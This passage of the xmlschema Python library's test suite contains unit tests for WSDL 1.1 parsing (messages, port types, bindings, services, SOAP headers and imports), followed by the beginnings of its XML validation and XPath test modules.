cls.casepath('examples/collection/collection.xml') def test_wsdl_document_init(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) self.assertEqual(wsdl_document.target_namespace, "http://example.com/stockquote.wsdl") self.assertIsInstance(wsdl_document.schema, XMLSchema10) wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, cls=XMLSchema11) self.assertIsInstance(wsdl_document.schema, XMLSchema11) self.assertIn('http://example.com/stockquote.xsd', wsdl_document.schema.maps.namespaces) self.assertIn('{http://example.com/stockquote.xsd}TradePriceRequest', wsdl_document.schema.maps.elements) self.assertIn('{http://example.com/stockquote.xsd}TradePrice', wsdl_document.schema.maps.elements) self.assertIn('{http://example.com/stockquote.wsdl}GetLastTradePriceInput', wsdl_document.maps.messages) self.assertIn('{http://example.com/stockquote.wsdl}GetLastTradePriceOutput', wsdl_document.maps.messages) for message in wsdl_document.maps.messages.values(): self.assertIsInstance(message, WsdlMessage) self.assertIn('{http://example.com/stockquote.wsdl}StockQuotePortType', wsdl_document.maps.port_types) for port_type in wsdl_document.maps.port_types.values(): self.assertIsInstance(port_type, WsdlPortType) for operation in port_type.operations.values(): self.assertIsInstance(operation, WsdlOperation) self.assertIn('{http://example.com/stockquote.wsdl}StockQuoteBinding', wsdl_document.maps.bindings) for bindings in wsdl_document.maps.bindings.values(): self.assertIsInstance(bindings, WsdlBinding) for operation in bindings.operations.values(): self.assertIsInstance(operation, WsdlOperation) self.assertIn('{http://example.com/stockquote.wsdl}StockQuoteService', wsdl_document.maps.services) for service in wsdl_document.maps.services.values(): self.assertIsInstance(service, WsdlService) with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") wsdl_document = Wsdl11Document( WSDL_DOCUMENT_EXAMPLE, locations=(('x', 'y'), ('x', 'z')) ) self.assertEqual(wsdl_document.locations, {'x': ['y', 'z']}) self.assertEqual(len(ctx), 1, "Expected one import warning") self.assertIn("Import of namespace 'x' from ['y', 'z'] failed", str(ctx[0].message)) with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") wsdl_document = Wsdl11Document( WSDL_DOCUMENT_EXAMPLE, locations=[('x', 'y'), ('x', 'z')] ) self.assertNotEqual(wsdl_document.locations, {'x': ['y', 'z']}) # Normalized self.assertEqual(len(ctx), 1, "Expected one import warning") self.assertRegex(str(ctx[0].message), r"Import of namespace 'x' from \[[^]]*\] failed") def test_schema_class(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) self.assertIsInstance(wsdl_document.schema, XMLSchema10) wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, cls=XMLSchema11) self.assertIsInstance(wsdl_document.schema, XMLSchema11) def test_validation_mode(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) self.assertEqual(wsdl_document.validation, 'strict') with self.assertRaises(WsdlParseError) as ctx: wsdl_document.parse_error('wrong syntax') self.assertIn("wrong syntax", str(ctx.exception)) wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, validation='lax') self.assertEqual(wsdl_document.validation, 'lax') wsdl_document.parse_error('wrong syntax') self.assertEqual(len(wsdl_document.errors), 1) self.assertIn("wrong syntax", str(wsdl_document.errors[0])) wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, validation='skip') self.assertEqual(wsdl_document.validation, 'skip') wsdl_document.parse_error('wrong syntax') self.assertEqual(len(wsdl_document.errors), 0) with self.assertRaises(ValueError) as ctx: Wsdl11Document(WSDL_DOCUMENT_EXAMPLE, validation='invalid') self.assertEqual("validation mode can be 'strict', 'lax' or 'skip': 'invalid'", str(ctx.exception)) def test_example3(self): original_example3_file = self.casepath('features/wsdl/wsdl11_example3.wsdl') with self.assertRaises(XMLSchemaValidationError): Wsdl11Document(original_example3_file) wsdl_document = Wsdl11Document(original_example3_file, validation='lax') self.assertEqual(len(wsdl_document.errors), 1) example3_file = self.casepath('features/wsdl/wsdl11_example3_valid.wsdl') wsdl_document = Wsdl11Document(example3_file) message_name = '{http://example.com/stockquote.wsdl}SubscribeToQuotes' self.assertListEqual(list(wsdl_document.messages), [message_name]) message = wsdl_document.messages[message_name] self.assertListEqual(list(message.parts), ['body', 'subscribeheader']) port_type_name = '{http://example.com/stockquote.wsdl}StockQuotePortType' self.assertListEqual(list(wsdl_document.port_types), [port_type_name]) port_type = wsdl_document.port_types[port_type_name] self.assertEqual(list(port_type.operations), [('SubscribeToQuotes', None, None)]) operation = port_type.operations[('SubscribeToQuotes', None, None)] self.assertIsNone(operation.soap_operation) self.assertEqual(operation.input.soap_body.use, 'literal') self.assertEqual(len(operation.input.soap_headers), 1) self.assertIs(operation.input.soap_headers[0].message, message) self.assertIs(operation.input.soap_headers[0].part, message.parts['subscribeheader']) binding_name = '{http://example.com/stockquote.wsdl}StockQuoteSoap' self.assertListEqual(list(wsdl_document.bindings), [binding_name]) binding = wsdl_document.bindings[binding_name] self.assertIs(binding.port_type, port_type) self.assertEqual(binding.soap_transport, "http://example.com/smtp") self.assertEqual(binding.soap_style, "document") service_name = '{http://example.com/stockquote.wsdl}StockQuoteService' self.assertListEqual(list(wsdl_document.services), [service_name]) self.assertEqual(list(wsdl_document.services[service_name].ports), ['StockQuotePort']) port = wsdl_document.services[service_name].ports['StockQuotePort'] self.assertEqual(port.soap_location, 'mailto:subscribe@example.com') def test_example3_without_types__issue_347(self): no_types_file = self.casepath('features/wsdl/wsdl11_example3_no_types.wsdl') with self.assertRaises(WsdlParseError): Wsdl11Document(no_types_file) schema_file = self.casepath('features/wsdl/wsdl11_example3_types.xsd') wsdl_document = Wsdl11Document(no_types_file, schema=schema_file) self.assertIn('{http://example.com/stockquote.xsd}SubscribeToQuotes', wsdl_document.schema.maps.elements) self.assertIn('{http://example.com/stockquote.xsd}SubscriptionHeader', wsdl_document.schema.maps.elements) def test_example4(self): original_example4_file = self.casepath('features/wsdl/wsdl11_example4.wsdl') with self.assertRaises(XMLSchemaValidationError): Wsdl11Document(original_example4_file) example_4_file = self.casepath('features/wsdl/wsdl11_example4_valid.wsdl') wsdl_document = Wsdl11Document(example_4_file) message1_name = '{http://example.com/stockquote.wsdl}GetTradePriceInput' message2_name = '{http://example.com/stockquote.wsdl}GetTradePriceOutput' self.assertListEqual(list(wsdl_document.messages), [message1_name, message2_name]) message1 = wsdl_document.messages[message1_name] message2 = wsdl_document.messages[message2_name] self.assertListEqual(list(message1.parts), ['tickerSymbol', 'time']) self.assertListEqual(list(message2.parts), ['result']) port_type_name = '{http://example.com/stockquote.wsdl}StockQuotePortType' self.assertListEqual(list(wsdl_document.port_types), [port_type_name]) port_type = wsdl_document.port_types[port_type_name] self.assertEqual(list(port_type.operations), [('GetTradePrice', None, None)]) operation = port_type.operations[('GetTradePrice', None, None)] self.assertIsNotNone(operation.soap_operation) self.assertEqual(operation.soap_action, 'http://example.com/GetTradePrice') self.assertEqual(operation.soap_style, 'document') self.assertIs(operation.input.message, message1) self.assertIs(operation.output.message, message2) self.assertEqual(operation.input.soap_body.use, 'encoded') self.assertEqual(operation.input.soap_body.namespace, 'http://example.com/stockquote') self.assertEqual(operation.input.soap_body.encoding_style, 'http://schemas.xmlsoap.org/soap/encoding/') self.assertEqual(len(operation.input.soap_headers), 0) self.assertEqual(operation.output.soap_body.use, 'encoded') self.assertEqual(operation.output.soap_body.namespace, 'http://example.com/stockquote') self.assertEqual(operation.output.soap_body.encoding_style, 'http://schemas.xmlsoap.org/soap/encoding/') self.assertEqual(len(operation.output.soap_headers), 0) binding_name = '{http://example.com/stockquote.wsdl}StockQuoteBinding' self.assertListEqual(list(wsdl_document.bindings), [binding_name]) binding = wsdl_document.bindings[binding_name] self.assertIs(binding.port_type, port_type) self.assertEqual(binding.soap_transport, "http://schemas.xmlsoap.org/soap/http") self.assertEqual(binding.soap_style, "rpc") service_name = '{http://example.com/stockquote.wsdl}StockQuoteService' self.assertListEqual(list(wsdl_document.services), [service_name]) self.assertEqual(list(wsdl_document.services[service_name].ports), ['StockQuotePort']) port = wsdl_document.services[service_name].ports['StockQuotePort'] self.assertEqual(port.soap_location, 'http://example.com/stockquote') def test_example5(self): original_example5_file = self.casepath('features/wsdl/wsdl11_example5.wsdl') with self.assertRaises(ElementTree.ParseError): Wsdl11Document(original_example5_file) example5_file = self.casepath('features/wsdl/wsdl11_example5_valid.wsdl') wsdl_document = Wsdl11Document(example5_file) message1_name = '{http://example.com/stockquote.wsdl}GetTradePricesInput' message2_name = '{http://example.com/stockquote.wsdl}GetTradePricesOutput' self.assertListEqual(list(wsdl_document.messages), [message1_name, message2_name]) message1 = wsdl_document.messages[message1_name] message2 = wsdl_document.messages[message2_name] self.assertListEqual(list(message1.parts), ['tickerSymbol', 'timePeriod']) self.assertListEqual(list(message2.parts), ['result', 'frequency']) port_type_name = '{http://example.com/stockquote.wsdl}StockQuotePortType' self.assertListEqual(list(wsdl_document.port_types), [port_type_name]) port_type = wsdl_document.port_types[port_type_name] self.assertEqual(list(port_type.operations), [('GetTradePrices', None, None)]) operation = port_type.operations[('GetTradePrices', None, None)] self.assertIsNotNone(operation.soap_operation) self.assertEqual(operation.soap_action, 'http://example.com/GetTradePrices') self.assertIs(operation.input.message, message1) self.assertIs(operation.output.message, message2) self.assertEqual(operation.input.soap_body.use, 'encoded') self.assertEqual(operation.input.soap_body.namespace, 'http://example.com/stockquote') self.assertEqual(operation.input.soap_body.encoding_style, 'http://schemas.xmlsoap.org/soap/encoding/') self.assertEqual(len(operation.input.soap_headers), 0) self.assertEqual(operation.output.soap_body.use, 'encoded') self.assertEqual(operation.output.soap_body.namespace, 'http://example.com/stockquote') self.assertEqual(operation.output.soap_body.encoding_style, 'http://schemas.xmlsoap.org/soap/encoding/') self.assertEqual(len(operation.output.soap_headers), 0) binding_name = '{http://example.com/stockquote.wsdl}StockQuoteBinding' self.assertListEqual(list(wsdl_document.bindings), [binding_name]) binding = wsdl_document.bindings[binding_name] self.assertIs(binding.port_type, port_type) self.assertEqual(binding.soap_transport, "http://schemas.xmlsoap.org/soap/http") self.assertEqual(binding.soap_style, "rpc") service_name = '{http://example.com/stockquote.wsdl}StockQuoteService' self.assertListEqual(list(wsdl_document.services), [service_name]) self.assertEqual(list(wsdl_document.services[service_name].ports), ['StockQuotePort']) port = wsdl_document.services[service_name].ports['StockQuotePort'] self.assertEqual(port.soap_location, 'http://example.com/stockquote') def test_wsdl_document_imports(self): stockquote_file = self.casepath('examples/stockquote/stockquote.wsdl') wsdl_document = Wsdl11Document(stockquote_file) self.assertEqual(wsdl_document.target_namespace, "http://example.com/stockquote/definitions") self.assertIn('http://example.com/stockquote/schemas', wsdl_document.imports) self.assertIsInstance( wsdl_document.imports['http://example.com/stockquote/schemas'], Wsdl11Document ) self.assertEqual(len(wsdl_document.maps.messages), 2) wsdl_document._parse_imports() self.assertListEqual(list(wsdl_document.imports), [ 'http://example.com/stockquote/schemas', ]) stockquote_service_file = self.casepath('examples/stockquote/stockquoteservice.wsdl') wsdl_document = Wsdl11Document(stockquote_service_file) self.assertListEqual(list(wsdl_document.imports), [ 'http://example.com/stockquote/schemas', 'http://example.com/stockquote/definitions' ]) def test_wsdl_document_invalid_imports(self): wsdl_template = """ """ wsdl_document = Wsdl11Document(wsdl_template.format('')) self.assertIsNone(wsdl_document.imports['http://example.com/ns']) with self.assertRaises(WsdlParseError) as ctx: Wsdl11Document(wsdl_template.format('missing-file')) self.assertIn('import of namespace', str(ctx.exception)) locations = [('http://example.com/ns', 'missing-file2')] with warnings.catch_warnings(record=True): warnings.simplefilter("always") with self.assertRaises(WsdlParseError) as ctx: Wsdl11Document(wsdl_template.format('missing-file'), locations=locations) self.assertIn('import of namespace', str(ctx.exception)) malformed_file = self.casepath('resources/malformed.xml') with self.assertRaises(WsdlParseError) as ctx: Wsdl11Document(wsdl_template.format(malformed_file)) self.assertIn('can\'t import namespace', str(ctx.exception)) self.assertIn('no element found', str(ctx.exception)) wsdl_template = """ """ stockquote_file = self.casepath('examples/stockquote/stockquote.wsdl') with self.assertRaises(WsdlParseError) as ctx: Wsdl11Document(wsdl_template.format(stockquote_file)) self.assertIn('namespace to import must be different', str(ctx.exception)) wsdl_template = """ """ with self.assertRaises(WsdlParseError) as ctx: Wsdl11Document(wsdl_template.format(stockquote_file)) self.assertIn('imported Wsdl11Document', str(ctx.exception)) self.assertIn('has an unmatched namespace', str(ctx.exception)) def test_wsdl_document_maps(self): stockquote_file = self.casepath('examples/stockquote/stockquote.wsdl') wsdl_document = Wsdl11Document(stockquote_file) self.assertListEqual(list(wsdl_document.maps.imports), ['http://example.com/stockquote/schemas']) self.assertEqual(len(wsdl_document.maps.messages), 2) self.assertEqual(len(wsdl_document.maps.port_types), 1) self.assertEqual(len(wsdl_document.maps.bindings), 0) self.assertEqual(len(wsdl_document.maps.services), 0) wsdl_document.maps.clear() self.assertListEqual(list(wsdl_document.maps.imports), []) self.assertEqual(len(wsdl_document.maps.messages), 0) wsdl_document.parse(stockquote_file) self.assertListEqual(list(wsdl_document.maps.imports), ['http://example.com/stockquote/schemas']) self.assertEqual(len(wsdl_document.maps.messages), 2) stockquote_service_file = self.casepath('examples/stockquote/stockquoteservice.wsdl') wsdl_document = Wsdl11Document(stockquote_service_file) self.assertListEqual(list(wsdl_document.maps.imports), ['http://example.com/stockquote/schemas', 'http://example.com/stockquote/definitions']) self.assertEqual(len(wsdl_document.maps.messages), 2) self.assertEqual(len(wsdl_document.maps.port_types), 1) self.assertEqual(len(wsdl_document.maps.bindings), 1) self.assertEqual(len(wsdl_document.maps.services), 1) with self.assertRaises(WsdlParseError) as ctx: wsdl_document.parse(stockquote_file, lazy=True) self.assertIn('instance cannot be lazy', str(ctx.exception)) wsdl_document.parse(stockquote_file) self.assertListEqual(list(wsdl_document.maps.imports), ['http://example.com/stockquote/schemas']) self.assertEqual(len(wsdl_document.maps.messages), 2) self.assertEqual(len(wsdl_document.maps.port_types), 1) self.assertEqual(len(wsdl_document.maps.bindings), 0) self.assertEqual(len(wsdl_document.maps.services), 0) wsdl_document.parse(stockquote_service_file) self.assertListEqual(list(wsdl_document.maps.imports), ['http://example.com/stockquote/schemas', 'http://example.com/stockquote/definitions']) self.assertEqual(len(wsdl_document.maps.messages), 2) self.assertEqual(len(wsdl_document.maps.port_types), 1) self.assertEqual(len(wsdl_document.maps.bindings), 1) self.assertEqual(len(wsdl_document.maps.services), 1) def test_wsdl_component(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) elem = ElementTree.Element('foo', bar='abc') wsdl_component = WsdlComponent(elem, wsdl_document) self.assertIsNone(wsdl_component.prefixed_name) self.assertIs(wsdl_component.attrib, elem.attrib) self.assertEqual(wsdl_component.get('bar'), 'abc') elem = ElementTree.Element('foo', name='bar') wsdl_component = WsdlComponent(elem, wsdl_document) self.assertEqual(wsdl_component.prefixed_name, 'tns:bar') self.assertEqual(wsdl_component.map_qname('{http://example.com/stockquote.wsdl}bar'), 'tns:bar') self.assertEqual(wsdl_component.unmap_qname('tns:bar'), '{http://example.com/stockquote.wsdl}bar') elem = ElementTree.Element('foo', a1='tns:bar', a2='unknown:bar') self.assertEqual(wsdl_component._parse_reference(elem, 'a1'), '{http://example.com/stockquote.wsdl}bar') self.assertEqual(wsdl_component._parse_reference(elem, 'a2'), 'unknown:bar') self.assertIsNone(wsdl_component._parse_reference(elem, 'a3')) def test_wsdl_message(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) with self.assertRaises(WsdlParseError) as ctx: wsdl_document._parse_messages() self.assertIn("duplicated message 'tns:GetLastTradePriceInput'", str(ctx.exception)) elem = ElementTree.XML('\n' ' \n' '') with self.assertRaises(WsdlParseError) as ctx: WsdlMessage(elem, wsdl_document) self.assertIn('missing schema element', str(ctx.exception)) elem[0].attrib['element'] = 'xsd1:TradePriceRequest' wsdl_message = WsdlMessage(elem, wsdl_document) self.assertEqual(list(wsdl_message.parts), ['body']) elem.append(elem[0]) with self.assertRaises(WsdlParseError) as ctx: WsdlMessage(elem, wsdl_document) self.assertIn("duplicated part 'body'", str(ctx.exception)) elem[0].attrib['type'] = 'xsd1:TradePriceRequest' with self.assertRaises(WsdlParseError) as ctx: WsdlMessage(elem, wsdl_document) self.assertIn("ambiguous binding", str(ctx.exception)) del elem[0].attrib['name'] wsdl_message = WsdlMessage(elem, wsdl_document) self.assertEqual(wsdl_message.parts, {}) elem = ElementTree.XML('\n' ' \n' '') with self.assertRaises(WsdlParseError) as ctx: WsdlMessage(elem, wsdl_document) self.assertIn('missing schema type', str(ctx.exception)) wsdl_document.namespaces['xs'] = "http://www.w3.org/2001/XMLSchema" wsdl_message = WsdlMessage(elem, wsdl_document) self.assertEqual(list(wsdl_message.parts), ['body']) del elem[0].attrib['type'] with self.assertRaises(WsdlParseError) as ctx: WsdlMessage(elem, wsdl_document) self.assertEqual("missing both 'type' and 'element' attributes", str(ctx.exception)) def test_wsdl_port_type(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) with self.assertRaises(WsdlParseError) as ctx: wsdl_document._parse_port_types() self.assertIn("duplicated port type 'tns:StockQuotePortType'", str(ctx.exception)) elem = ElementTree.XML('\n' ' \n' ' \n' ' \n' ' \n' '') wsdl_port_type = WsdlPortType(elem, wsdl_document) self.assertEqual(list(wsdl_port_type.operations), [('GetLastTradePrice', None, None)]) elem.append(elem[0]) # Duplicate operation ... with self.assertRaises(WsdlParseError) as ctx: WsdlPortType(elem, wsdl_document) self.assertIn('duplicated operation', str(ctx.exception)) del elem[0].attrib['name'] wsdl_port_type = WsdlPortType(elem, wsdl_document) self.assertEqual(list(wsdl_port_type.operations), []) def test_wsdl_operation(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) elem = ElementTree.XML('\n' ' \n' ' \n' '') wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.key, ('GetLastTradePrice', 'input', None)) self.assertEqual(wsdl_operation.transmission, 'request-response') elem[1].attrib['name'] = 'output' wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.key, ('GetLastTradePrice', 'input', 'output')) # Check the missing of soap bindings self.assertIsNone(wsdl_operation.soap_operation) self.assertIsNone(wsdl_operation.soap_action) self.assertIsNone(wsdl_operation.soap_style) elem = ElementTree.XML('\n' ' \n' ' \n' '') wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.key, ('GetLastTradePrice', 'receive', 'send')) self.assertEqual(wsdl_operation.transmission, 'solicit-response') elem = ElementTree.XML('\n' ' \n' '') wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.key, ('GetLastTradePrice', None, None)) self.assertEqual(wsdl_operation.transmission, 'one-way') elem = ElementTree.XML('\n' ' \n' '') wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.key, ('GetLastTradePrice', None, None)) self.assertEqual(wsdl_operation.transmission, 'notification') # Only for testing code, with faults is better to add specific messages. elem = ElementTree.XML('\n' ' \n' ' \n' '') wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(wsdl_operation.faults, {}) # not inserted if name is missing ... elem[1].attrib['name'] = 'foo' wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertEqual(list(wsdl_operation.faults), ['foo']) message_name = '{http://example.com/stockquote.wsdl}GetLastTradePriceInput' message = wsdl_document.messages[message_name] self.assertIs(wsdl_operation.faults['foo'].message, message) elem.append(elem[1]) # create a fake duplicated fault with self.assertRaises(WsdlParseError) as ctx: WsdlOperation(elem, wsdl_document) self.assertIn("duplicated fault 'foo'", str(ctx.exception)) elem.clear() wsdl_operation = WsdlOperation(elem, wsdl_document) self.assertIsNone(wsdl_operation.input) self.assertIsNone(wsdl_operation.output) self.assertIsNone(wsdl_operation.transmission) self.assertEqual(wsdl_operation.faults, {}) def test_wsdl_binding(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) with self.assertRaises(WsdlParseError) as ctx: wsdl_document._parse_bindings() self.assertIn("duplicated binding 'tns:StockQuoteBinding'", str(ctx.exception)) elem = ElementTree.XML( '' ' \n' ' ' ' ' ' ' ' ' ' ' '') wsdl_binding = WsdlBinding(elem, wsdl_document) self.assertEqual(wsdl_binding.port_type, list(wsdl_document.port_types.values())[0]) self.assertEqual(list(wsdl_binding.operations), [('GetLastTradePrice', None, None)]) del elem[1][0] # remove wsdl_binding = WsdlBinding(elem, wsdl_document) self.assertEqual(wsdl_binding.port_type, list(wsdl_document.port_types.values())[0]) self.assertEqual(list(wsdl_binding.operations), [('GetLastTradePrice', None, None)]) del elem[1][0] # remove wsdl_binding = WsdlBinding(elem, wsdl_document) self.assertEqual(wsdl_binding.port_type, list(wsdl_document.port_types.values())[0]) self.assertEqual(list(wsdl_binding.operations), [('GetLastTradePrice', None, None)]) elem[1][0].attrib['name'] = 'unknown' # set an unknown name to with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("missing fault 'unknown'", str(ctx.exception)) del elem[1][0] # remove elem.append(elem[1]) with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("duplicated operation 'GetLastTradePrice'", str(ctx.exception)) del elem[2] elem[1].attrib['name'] = 'unknown' with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("operation 'unknown' not found", str(ctx.exception)) del elem[1].attrib['name'] wsdl_binding = WsdlBinding(elem, wsdl_document) self.assertEqual(wsdl_binding.operations, {}) elem.attrib['type'] = 'tns:unknown' with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("missing port type", str(ctx.exception)) del elem[0] with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("missing soap:binding element", str(ctx.exception)) def test_wsdl_service(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) with self.assertRaises(WsdlParseError) as ctx: wsdl_document._parse_services() self.assertIn("duplicated service 'tns:StockQuoteService'", str(ctx.exception)) elem = ElementTree.XML( '' ' ' ' ' ' ' '') wsdl_service = WsdlService(elem, wsdl_document) binding_name = '{http://example.com/stockquote.wsdl}StockQuoteBinding' binding = wsdl_document.bindings[binding_name] self.assertIs(wsdl_service.ports['StockQuotePort'].binding, binding) elem[0].attrib['binding'] = 'tns:unknown' with self.assertRaises(WsdlParseError) as ctx: WsdlService(elem, wsdl_document) self.assertIn('unknown binding', str(ctx.exception)) del elem[0].attrib['binding'] wsdl_service = WsdlService(elem, wsdl_document) self.assertIsNone(wsdl_service.ports['StockQuotePort'].binding) self.assertEqual(wsdl_service.ports['StockQuotePort'].soap_location, 'http://example.com/stockquote') del elem[0][0] wsdl_service = WsdlService(elem, wsdl_document) self.assertIsNone(wsdl_service.ports['StockQuotePort'].soap_location) elem.append(elem[0]) with self.assertRaises(WsdlParseError) as ctx: WsdlService(elem, wsdl_document) self.assertIn('duplicated port', str(ctx.exception)) del elem[0].attrib['name'] wsdl_service = WsdlService(elem, wsdl_document) self.assertEqual(wsdl_service.ports, {}) def test_wsdl_missing_message_reference(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) elem = ElementTree.XML('') with self.assertRaises(WsdlParseError) as ctx: WsdlInput(elem, wsdl_document) self.assertIn('unknown message', str(ctx.exception)) elem = ElementTree.XML('') input_op = WsdlInput(elem, wsdl_document) self.assertIsNone(input_op.message) def test_wsdl_soap_header_bindings(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_EXAMPLE) elem = ElementTree.XML('

') with self.assertRaises(WsdlParseError) as ctx: SoapHeader(elem, wsdl_document) self.assertIn('unknown message', str(ctx.exception)) elem.attrib['message'] = 'tns:GetLastTradePriceInput' with self.assertRaises(WsdlParseError) as ctx: SoapHeader(elem, wsdl_document) self.assertIn("missing message part 'subscribeheader'", str(ctx.exception)) elem.attrib['part'] = 'body' soap_header = SoapHeader(elem, wsdl_document) message_name = '{http://example.com/stockquote.wsdl}GetLastTradePriceInput' self.assertIs(wsdl_document.messages[message_name], soap_header.message) self.assertIs(wsdl_document.messages[message_name].parts['body'], soap_header.part) del elem.attrib['part'] soap_header = SoapHeader(elem, wsdl_document) self.assertIs(wsdl_document.messages[message_name], soap_header.message) self.assertIsNone(soap_header.part) elem = ElementTree.XML('
\n' ' \n' '
') soap_header = SoapHeader(elem, wsdl_document) message = wsdl_document.messages[message_name] self.assertIs(message, soap_header.message) self.assertIs(message.parts['body'], soap_header.part) self.assertEqual(len(soap_header.faults), 1) self.assertIs(message, soap_header.faults[0].message) self.assertIs(message.parts['body'], soap_header.faults[0].part) def test_wsdl_no_soap_bindings(self): wsdl_document = Wsdl11Document(WSDL_DOCUMENT_NO_SOAP) self.assertEqual(list(wsdl_document.messages), ['myMessage']) self.assertEqual(list(wsdl_document.port_types), ['myPortType']) self.assertEqual(list(wsdl_document.bindings), ['myBinding']) self.assertEqual(list(wsdl_document.services), ['myService']) self.assertIsNone(wsdl_document.bindings['myBinding'].soap_transport) self.assertIsNone(wsdl_document.bindings['myBinding'].soap_style) def test_wsdl_and_soap_faults(self): example5_file_with_fault = self.casepath('features/wsdl/wsdl11_example5_with_fault.wsdl') wsdl_document = Wsdl11Document(example5_file_with_fault) port_type_name = '{http://example.com/stockquote.wsdl}StockQuotePortType' self.assertListEqual(list(wsdl_document.port_types), [port_type_name]) port_type = wsdl_document.port_types[port_type_name] operation = port_type.operations[('GetTradePrices', None, None)] message_name = '{http://example.com/stockquote.wsdl}FaultMessage' message = wsdl_document.messages[message_name] self.assertIs(operation.faults['fault'].message, message) elem = ElementTree.XML( '' ' \n' ' ' ' ' ' ' ' ' ' ' '') with self.assertRaises(WsdlParseError) as ctx: WsdlBinding(elem, wsdl_document) self.assertIn("missing fault 'exception'", str(ctx.exception)) def test_loading_from_unrelated_dirs__issue_237(self): relpath = str(pathlib.Path(__file__).parent.joinpath( 'test_cases/issues/issue_237/dir1/stockquoteservice.wsdl' )) wsdl_document = Wsdl11Document(relpath) self.assertIn('http://example.com/stockquote/schemas', wsdl_document.imports) self.assertEqual( wsdl_document.imports['http://example.com/stockquote/schemas'].name, 'stockquote.xsd' ) self.assertIn('http://example.com/stockquote/definitions', wsdl_document.imports) self.assertEqual( wsdl_document.imports['http://example.com/stockquote/definitions'].name, 'stockquote.wsdl' ) if __name__ == '__main__': run_xmlschema_tests('WSDL documents') xmlschema-4.1.0/tests/test_xml_testfiles.py000066400000000000000000000030451502040105500211240ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2025, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning the validation/decoding/encoding of XML files""" import sys from pathlib import Path from xmlschema.testing import xmlschema_tests_factory, make_validation_test_class if __name__ == '__main__': import random from xmlschema.testing import parse_xmlschema_args, run_xmlschema_tests def load_tests(_loader, tests, _pattern): if args.random: tests._tests.sort(key=lambda x: random.randint(0, 0xFFFFFFFF)) # noqa return tests args = parse_xmlschema_args() validation_tests = xmlschema_tests_factory( test_class_builder=make_validation_test_class, testfiles=args.testfiles, suffix='xml', check_with_lxml=args.lxml, codegen=args.codegen, verbosity=args.verbosity, ) globals().update(validation_tests) run_xmlschema_tests('validation cases', args) elif sys.argv and not sys.argv[0].endswith('run_all_tests.py'): testfiles = Path(__file__).absolute().parent.joinpath('test_cases/testfiles') validation_tests = xmlschema_tests_factory( test_class_builder=make_validation_test_class, suffix='xml', testfiles=testfiles ) globals().update(validation_tests) xmlschema-4.1.0/tests/test_xpath.py000066400000000000000000000465231502040105500173760ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests for XPath parsing and selectors""" import unittest import os import pathlib from xml.etree import ElementTree from elementpath import XPath1Parser, XPath2Parser, Selector, LazyElementNode from xmlschema import XMLSchema10, XMLSchema11 from xmlschema.names import XSD_NAMESPACE from xmlschema.xpath import XMLSchemaProxy, XPathElement, split_path, ElementSelector from xmlschema.validators import XsdAtomic, XsdAtomicRestriction CASES_DIR = os.path.join(os.path.dirname(__file__), 'test_cases/') class XMLSchemaProxyTest(unittest.TestCase): schema_class = XMLSchema10 @classmethod def setUpClass(cls): cls.xs1 = cls.schema_class(os.path.join(CASES_DIR, "examples/vehicles/vehicles.xsd")) cls.xs2 = cls.schema_class(os.path.join(CASES_DIR, "examples/collection/collection.xsd")) cls.xs3 = cls.schema_class(os.path.join(CASES_DIR, "features/decoder/simple-types.xsd")) def test_initialization(self): schema_proxy = XMLSchemaProxy() self.assertIs(schema_proxy._schema, self.schema_class.meta_schema) schema_proxy = XMLSchemaProxy(self.xs1, base_element=self.xs1.elements['vehicles']) self.assertIs(schema_proxy._schema, self.xs1) with self.assertRaises(ValueError): XMLSchemaProxy(self.xs1, base_element=self.xs2.elements['collection']) with self.assertRaises(TypeError): XMLSchemaProxy(self.xs1, base_element=ElementTree.Element('vehicles')) # noqa def test_bind_parser_method(self): schema_proxy1 = XMLSchemaProxy(self.xs1) schema_proxy2 = XMLSchemaProxy(self.xs2) parser = XPath2Parser(strict=False, schema=schema_proxy1) self.assertIs(parser.schema, schema_proxy1) schema_proxy1.bind_parser(parser) self.assertIs(parser.schema, schema_proxy1) schema_proxy2.bind_parser(parser) self.assertIs(parser.schema, schema_proxy2) def test_get_context_method(self): schema_proxy 